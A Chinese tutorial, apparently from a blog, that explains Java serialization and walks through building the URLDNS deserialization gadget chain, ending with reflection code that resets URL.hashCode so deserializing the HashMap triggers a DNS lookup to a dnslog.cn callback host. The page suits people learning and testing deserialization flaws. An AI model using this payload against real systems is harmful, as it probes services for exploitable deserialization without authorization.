URLDNS链学习

首先我们先理解一下序列化与反序列化,我先贴出三段代码,大家可以尝试先体验一下。

首先我们先构造一个Person类,其实跟这条链没什么关系,主要涉及序列化

点击查看代码
// 引入 Java 的 Serializable 接口,这是必需的,以便该类的对象可以被序列化和反序列化。
import java.io.Serializable;
// 定义一个公开的类 Person,实现了 Serializable 接口。
// 实现 Serializable 接口是告诉 Java 这个类的对象可以被序列化(转换为一系列字节)和反序列化(从字节序列恢复为对象)。
public class Person implements Serializable {
// 定义私有变量 name,类型为 String。私有的意思是这个变量只能在本类内部被访问。
private String name;
// 定义私有变量 age,类型为 int。
private int age; // 定义无参数的构造函数。如果没有其他构造函数,Java会自动提供这样一个无参数的构造函数。
// 这里显式定义是为了清楚表明这个类有一个无参数的构造选项。
public Person() {
} // 定义一个带有两个参数的构造函数,接收一个字符串 name 和一个整数 age。
// 这个构造函数用来创建一个具有特定名字和年龄的 Person 对象。
public Person(String name, int age) {
this.name = name; // 将传入的参数 name 赋值给成员变量 name。
this.age = age; // 将传入的参数 age 赋值给成员变量 age。
} // 覆盖了 Object 类的 toString 方法。
// toString 方法用于返回对象的字符串表示形式,通常用于调试和日志记录。
@Override
public String toString() {
return "Person{" +
"name = " + name + '\'' + // 将成员变量 name 加入到返回的字符串中。
", age = " + age + // 将成员变量 age 加入到返回的字符串中。
'}';
}
}

序列化类

序列化: 在 Java 中,序列化是通过 ObjectOutputStream 类实现的。当调用 writeObject() 方法时,它会检查传入的对象是否实现了 Serializable 接口。如果实现了,Java 序列化机制就会自动处理该对象及其所有的子对象的序列化过程,并将其转换成一个连续的字节流,然后将这些字节写入到指定的输出流(在本例中是文件 "ser.bin")。

点击查看代码
// 引入必要的 Java 标准库,以便进行文件操作、网络通信等。
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; // 定义一个名为 SerializationTest 的公开类,用于测试序列化。
public class SerializationTest {
// 定义一个静态方法 serialize,用于序列化任意对象。
// 方法接收一个 Object 类型的参数 obj,表示要被序列化的对象。
public static void serialize(Object obj) throws IOException {
// 创建一个 ObjectOutputStream 对象 oos,它被连接到一个名为 "ser.bin" 的文件的 FileOutputStream。
// ObjectOutputStream 用于将对象的序列化表示写入到输出流中。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// 使用 ObjectOutputStream 的 writeObject 方法将 obj 对象写入到前面创建的文件中。
// 这是实际执行序列化操作的地方,对象状态被转化为字节序列并保存。
oos.writeObject(obj);
} // 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 创建一个 Person 对象,名字为 "aa",年龄为 22。
Person person = new Person("aa", 22); // 调用前面定义的 serialize 方法,传入 person 对象进行序列化。
// 该调用会将 person 对象的状态保存到名为 "ser.bin" 的文件中。
serialize(person);
}
}

反序列化类

反序列化: 在 Java 中,反序列化是通过 ObjectInputStream 类实现的。当调用 readObject() 方法时,Java 反序列化机制从输入流中读取之前序列化的字节流,将其转换回原来的对象,并确保所有对象的类型信息和数据都被正确恢复。

点击查看代码
// 引入必要的 Java 输入输出库,这些库提供了文件操作和对象输入输出流的功能。
import java.io.*;
import java.io.IOException;
import java.io.ObjectInputStream; // 定义一个名为 UnserializeTest 的公开类,用于测试反序列化。
public class UnserializeTest {
// 定义一个静态方法 unserialize,用于从文件中反序列化对象。
// 方法接收一个字符串参数 Filename,表示包含序列化对象数据的文件名。
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
// 创建一个 ObjectInputStream 对象 ois,它被连接到一个名为 Filename 的文件的 FileInputStream。
// ObjectInputStream 用于从输入流中读取对象的序列化表示。
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 使用 ObjectInputStream 的 readObject 方法读取并返回反序列化的对象。
// 这是实际执行反序列化操作的地方,字节序列被转化回 Java 对象。
Object obj = ois.readObject();
return obj;
} // 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 调用 unserialize 方法,从文件 "ser.bin" 中反序列化对象。
// 将返回的 Object 强制类型转换为 Person 类型。
Person person = (Person) unserialize("ser.bin");
// 打印反序列化得到的 Person 对象。
// 调用 Person 类的 toString 方法,显示对象的详细信息。
System.out.println(person);
}
}

下面我们来讲一下DNS链

点击查看代码
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

代码主要是先找到URL类里面的hashCode()方法

点击查看代码
// 定义一个公共的同步方法 hashCode,返回一个整型值。
// 'synchronized' 关键字确保在同一时刻只有一个线程可以执行这个方法,防止多线程环境下的数据竞争。
public synchronized int hashCode() {
// 如果实例变量 hashCode 的值不是 -1,说明之前已经计算过哈希码,并缓存了结果。
// 这是一种提高效率的做法,避免重复计算哈希值。
if (hashCode != -1)
return hashCode; // 直接返回已经计算好的哈希码。 // 如果 hashCode 是 -1,说明还没有计算过哈希码,需要计算。
// 调用 handler 的 hashCode 方法来计算当前对象的哈希码。
// 这里的 handler 是一个假定存在的字段或者变量,可能是这个类的一个属性,负责具体的哈希计算逻辑。
hashCode = handler.hashCode(this); // 返回新计算的哈希码。
return hashCode;
}

然后我们跟进这里的hashCode

走到URLStreamHandler这个类中,看到hashCode这个方法,发现getHostAddress这个方法,实际上意思就是根据域名来获取地址

获取主机的 IP 地址。如果主机字段为空或 DNS 解析失败,将返回 null。

这个链其实就是两部分的内容,首先是,HashMap方法里面调用了hashCode()方法, 通过这个hashCode()方法,就可以走到URL这里的hashCode()方法。

这个时候我们就可以写一下代码,尝试执行以下请求DNSlog

点击查看代码
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
} public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL(""),1);
serialize(person);
}
}

我们跟进这个URL类,看一卡它的构造函数是怎么写的,然后我们就知道放什么了

这里的意思是放一个链接进行就行,所以上面代码中URL传参,就可以放一个DNSLOG进去

现在我们尝试去进行序列化,然后在反序列化的时候,使其发送请求,看是否可以

进行序列化,发现已经请求了DNSlog

为什么在没有进行反序列化的时候,就可以发送请求,我们跟进put方法看一下

点击查看代码
/**
* 将指定的键和值添加到这个map中。
*
* @param key 要与指定值关联的键。
* @param value 与指定键关联的值。
* @return 如果该键之前已经有对应的值,则返回旧值;否则返回null。
*/
public V put(K key, V value) {
// 调用putVal方法实现键值对的添加。hash(key)计算键的哈希值。
// 参数说明:
// - hash(key): 根据键计算出的哈希值,用于确定键值对在map中的存储位置。
// - key: 要添加到map中的键。
// - value: 要与键关联的值。
// - false: 表示不是用来替代整个map的。
// - true: 表明结构(buckets)可能需要改变(如rehashing、扩容等)。
return putVal(hash(key), key, value, false, true);
}

意思就是为了确保键值对的唯一,在HashMap这个类中,已经调用了hash方法,转而调用了hashCode方法,然后就在未序列化之前发送了请求。

为什么呢,因为在URL类的hashCode()方法中,有一个判断就是,意思前面也讲过,就是如果hashCode不等于-1,就直接返回,不会执行下面的代码

点击查看代码
if (hashCode != -1)
return hashCode;

hashCode只有在初始化的时候才是-1

但是我们在代码中去调用put方法的时候,就已经改变了值,所以hashCode在序列化的时候就已经不是-1了,所以在进行反序列化,就不会执行。

所以我们就要尝试进行

我们在第一次序列化的时候,不想让URL发起请求,如果当这个hash Code当时已经不是-1了,这样我们就不会在put的时候发起请求了

所以我们需要在反序列化之前,把hashCode改回来

直接看代码,通过反射

点击查看代码
 public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://rdpr0d.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
serialize(hashmap);
}
}

无DNslog回显,证明已经修改了hashCode的值不等于-1.

然后我们将代码下面新增一行,将hashCode改为-1

在进行反序列化,可以看到dnslog已经成功记录到了

点击查看代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
} public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://5cv1ga.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
hashcodefield.set(url,-1);
serialize(hashmap);
}
}

在反序列化Debug后,在URL.hashCode处下个断点,可以发现已经成功改成-1了

证明赋值已经成功了,成功发起了DNS请求

简单的UrlDns链分析的更多相关文章

  1. Java安全之URLDNS链

    Java安全之URLDNS链 0x00 前言 在学习Java的反序列化漏洞的时候,就不得不学习他的一个利用链.很多刚刚入门的对于利用链这个词可能比较陌生.那么这里先来了解一下Java反序列化和反序列化 ...

  2. 一步一步学习FastJson1.2.47远程命令执行漏洞

    本文首发于先知:https://xz.aliyun.com/t/6914 漏洞分析 FastJson1.2.24 RCE 在分析1.2.47的RCE之前先对FastJson1.2.24版本中的RCE进 ...

  3. javascript中继承方式及优缺点(一)

    分别介绍原型链继承.call/apply继承(借用构造函数继承).组合继承.原型式继承.寄生式继承.寄生组合式继承 1. 原型链继承 核心:将父类的实例作为子类的原型 function SuperTy ...

  4. yso中URLDNS的pop链分析(重新分析整理)

    #发现之前对这个链关注的点有点问题,重新分析了一下 由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个.其实在实战中用 ...

  5. [原创]基于SpringAOP开发的方法调用链分析框架

    新人熟悉项目必备工具!基于SpringAOP开发的一款方法调用链分析插件,简单到只需要一个注解,异步非阻塞,完美嵌入Spring Cloud.Dubbo项目!再也不用担心搞不懂项目! 很多新人进入一家 ...

  6. Linux内核通知链分析【转】

    转自:http://www.cnblogs.com/jason-lu/articles/2807758.html Linux内核通知链分析 1. 引言 Linux是单内核架构(monolithic k ...

  7. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  8. ysoserial分析【二】7u21和URLDNS

    目录 7u21 gadget链分析 hashCode绕过 参考 URLDNS 7u21 7u21中利用了TemplatesImpl来执行命令,结合动态代理.AnnotationInvocationHa ...

  9. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

  10. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

随机推荐

  1. 微信小程序直播,腾讯云直播+微信小程序实现实时直播

    一:小程序代码端 小程序直播使用小程序组件 live-pusher 组件和live-player组件 首先开通直播权限 小程序开发工具内进行推流拉流都不会成功,所以需要使用两个手机进行推拉流测试: 1 ...

  2. git 提交本地仓库 提交错误撤销命令

    git reset --hard HEAD~1

  3. 痞子衡嵌入式:使用恩智浦GUI Guider快速创建全新LCD屏示例工程的步骤

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家分享的是使用恩智浦GUI Guider快速创建全新LCD屏示例工程的步骤. 在痞子衡旧文 <在i.MXRT1170上快速点亮一款全新LCD ...

  4. linux下find命令根据系统时间查找文件用法

    find 命令有几个用于根据您系统的时间戳搜索文件的选项.这些时间戳包括 mtime 文件内容上次修改时间 atime 文件被读取或访问的时间 ctime 文件状态变化时间 mtime 和 atime ...

  5. [.NET项目实战] Elsa开源工作流组件应用(一): Elsa工作流简介

    Elsa工作流简介 工作流是什么? 引用维基百科中对工作流的解释: 是对工作流程及其各操作步骤之间业务规则的抽象.概括.描述.工作流建模,即将工作流程中的工作如何前后组织在一起的逻辑和规则在计算机中以 ...

  6. GdbServer和libuuid移植到HISI3520d

    PS:要转载请注明出处,本人版权所有. PS: 这个只是基于<我自己>的理解, 如果和你的原则及想法相冲突,请谅解,勿喷. 前置说明   本文作为本人csdn blog的主站的备份.(Bl ...

  7. RabbitMQ集群运维实践

    一.RabbitMQ的集群模式 主要有两种:普通集群模式和镜像队列模式.下面分别介绍这两种模式的原理: 1.普通集群模式: 在普通集群模式下,RabbitMQ的集群节点之间主要同步元数据,而不同步存储 ...

  8. 三维模型OBJ格式轻量化压缩并行计算处理方法浅析

    三维模型OBJ格式轻量化压缩并行计算处理方法浅析 三维模型的轻量化是指通过一系列技术和算法来减小三维模型的文件大小,以提高模型在计算机中的加载.渲染和传输效率.并行计算是利用多个计算单元同时执行任务, ...

  9. Docker Commands Diagram

  10. modelsim常用操作之波形仿真

    modelsim波形仿真的新手问题 1.实验目的 在刚接触modelsim时,被其繁复的操作流程所困,一度只能依靠在quartus中修改代码编译后再重启modelsim,自动导入才能得到波形.这样的操 ...